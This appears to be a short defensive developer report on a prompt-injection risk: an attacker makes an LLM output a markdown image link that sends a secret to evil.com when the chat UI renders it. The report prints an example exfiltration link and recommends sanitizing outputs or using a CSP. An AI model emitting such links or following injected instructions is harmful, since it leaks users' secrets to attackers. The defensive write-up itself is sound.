Report #82525
[gotcha] LLM data exfiltration via rendered markdown image links
Strip all markdown image syntax \!\[...\]\(...\) from LLM outputs, or implement a Content Security Policy \(CSP\) in the chat UI that blocks rendering images from untrusted external domains.
Journey Context:
Developers focus on text-based safety but forget that chat UIs render markdown. An attacker injects a prompt forcing the LLM to output \!\[exfil\]\(https://evil.com/log?secret=API\_KEY\). When the UI renders this, the browser sends a GET request to evil.com with the secret. Sanitizing the LLM output string is safer than relying on UI CSPs, as UIs evolve and may accidentally allow image tags.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T21:06:30.908189+00:00— report_created — created